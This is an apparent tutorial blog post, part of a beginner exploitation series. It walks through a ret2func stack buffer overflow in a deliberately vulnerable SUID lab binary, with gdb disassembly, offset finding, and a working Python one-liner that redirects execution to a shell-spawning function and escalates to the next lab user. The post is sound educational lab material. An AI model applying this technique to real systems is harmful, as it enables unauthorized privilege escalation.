Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 2 binary and work on exploiting it to get the next flag. The Level 2 challenge introduces a classic technique called Return-to-Function (ret2func) — where instead of injecting shellcode, we redirect the program’s control flow to an already existing function in the binary to achieve our goal. This is a key step in learning how to exploit binaries when code injection is restricted or non-viable.
If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.
This walkthrough is part of my beginner-level training series, “Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.
Level 2 Objectives
- Understand the concept of Return-to-Function (ret2func) exploitation
- Identify useful functions in the binary that can be reused for privilege escalation
- Analyze the disassembly of the binary using
gdb
- Practice identifying the buffer size and estimating EIP offset
- Overwrite EIP to redirect execution to a target function within the binary
Accessing the Level 1 User
To begin this level, we switch to the level1 user using the password we found in the previous challenge.
(See the Level 1 post for how we found it.)
We log in and navigate to the new level directory:
$ su level1
Password:
level1@kali:/home/level0$ cd /home/level1
level1@kali:~$ whoami
level1
Inside the home directory, we find the next binary:
$ ls -ltra levelTwo
-rwsr-sr-x 1 level2 level2 15688 Jun 8 2019 levelTwo
As before, this binary has the SUID bit set and runs with level2’s privileges. Now let’s try executing it with a test input:
$ ./levelTwo AAAA
Hello AAAA
The program accepts user input and echoes it back. This means it’s likely taking our input as a command-line argument, similar to the previous challenge.
Disassembling
Let’s now take a closer look at the binary to understand what it does and where the vulnerability is.
We start by listing the available functions using GDB:
(gdb) info func
All defined functions:
Non-debugging symbols:
0x00001000 _init
0x00001030 setresuid@plt
0x00001040 printf@plt
0x00001050 geteuid@plt
0x00001060 strcpy@plt
0x00001070 __libc_start_main@plt
0x00001080 execve@plt
0x00001090 setuid@plt
[...]
0x000011e9 spawn
0x00001224 hello
0x00001264 main
[...]
The important functions for this challenge are:
main()
– the program entry pointhello()
– receives and processes user inputspawn()
– contains a call toexecve()
and can be used to spawn a shell
main() – Passing Input to hello()
0x000012a0 <+60>: mov eax, DWORD PTR [esi+0x4]
0x000012a3 <+63>: add eax, 0x4
0x000012a6 <+66>: mov eax, DWORD PTR [eax]
0x000012ab <+71>: push eax
0x000012ac <+72>: call 0x1224 <hello>
Here, the binary is taking the user-supplied argument (likely argv[1]
) and passing it to the hello()
function.
hello() – The Vulnerable Function
0x00001239 <+21>: push DWORD PTR [ebp+0x8] ; user input
0x0000123c <+24>: lea eax, [ebp-0x20] ; local buffer
0x0000123f <+27>: push eax
0x00001240 <+28>: call strcpy@plt
This is the vulnerable part of the code. It uses the strcpy()
function to copy the user input into a local buffer ([ebp-0x20]
), which is only 32 bytes in size.
There are no checks on the length of the input, meaning a user can overflow the buffer and overwrite saved data on the stack, such as the saved return address.
Later in the function:
0x0000124f <+43>: lea eax,[ebx-0x1ff0]
0x00001256 <+50>: call printf@plt
The program prints the user input back to the screen — confirming that we control that buffer.
By supplying more than 32 bytes, we can overflow the buffer and overwrite the saved return address, which allows us to control where the program jumps next.
In the next step, we’ll exploit this behavior to redirect execution to the spawn()
function, which contains a call to execve()
— giving us a shell.
Using a Return-to-Function (ret2func) Exploit
In this level, we will use a slightly different technique to gain a shell. Instead of overwriting a variable or injecting shellcode, we will change the program’s execution flow to jump to an existing function in the binary called spawn()
.
Let’s take a look at the disassembly of the spawn()
function:
(gdb) disass spawn
Dump of assembler code for function spawn:
0x000011e9 <+0>: push ebp
0x000011ea <+1>: mov ebp,esp
0x000011ec <+3>: push ebx
0x000011ed <+4>: sub esp,0x4
[...]
0x0000120f <+38>: lea eax,[ebx-0x1ff8]
0x00001216 <+45>: call 0x1080 <execve@plt>
[...]
0x00001223 <+58>: ret
We can clearly see this function ends with a call to execve()
, which spawns a shell (/bin/sh
). That means, if we manage to redirect execution to spawn()
, we’ll get a shell — just like we did in Level 0.
Our Goal
We want to:
- Find the offset to the return address (RET) on the stack
- Overwrite the RET with the address of
spawn()
- Run the program with a crafted input to get a shell
Finding the Offset to EIP
We set a breakpoint at the return of the hello()
function:
(gdb) b *0x56556263
Breakpoint 1 at 0x56556263
Run the program with a test pattern:
(gdb) r $(python3 -c "print('A' * 40)")
Starting program: /home/level1/levelTwo $(python3 -c "print('A' * 40)")
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Step one instruction to reach the return:
(gdb) ni
0x41414141 in ?? ()
Check the registers:
(gdb) info r
ebp 0x41414141
[...]
eip 0x41414141 ← EIP is fully controlled by us
Then try to fine-tune the offset:
(gdb) r $(python3 -c "print('A' * 36 + 'B' * 4)")
Starting program: /home/level1/levelTwo $(python3 -c "print('A' * 36 + 'B' * 4)")
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Step and check again:
(gdb) n
0x42424242 in ?? ()
EIP was overwritten with 0x42424242
(BBBB
) → our offset is 36 bytes.
Getting the spawn()
Address:
(gdb) p spawn
$1 = {<text variable, no debug info>} 0x565561e9 <spawn>
By default, ASLR (Address Space Layout Randomization) is disabled in this VM, which allows us to reuse static function addresses:
(gdb) shell cat /proc/sys/kernel/randomize_va_space
0
Learn more about ASLR here:
– CTF101: Address Space Layout Randomization
Now let’s exploit the program by overwriting the return address with the address of spawn()
:
$ ./levelTwo "$(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*36 + b"\xe9\x61\x55\x56")')"
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV
We get a shell as level2
:
$ whoami
level2
$ cd /home/level2
$ ls
level2.txt levelThree
$ cat level2.txt
[REDACTED]
The address of spawn()
is 0x565561e9
, but we wrote it in reverse as b"\xe9\x61\x55\x56"
. This is because x86 architecture uses little-endian format — meaning it stores the least significant byte first.
You can read more about little-endian vs big-endian here: Stack Overflow – Little Endian vs Big Endian
We successfully exploited the buffer overflow in hello()
using a ret2func technique, redirecting execution to the existing spawn()
function to get a shell. We now have the password for the level2 user and are ready to move on to the next level.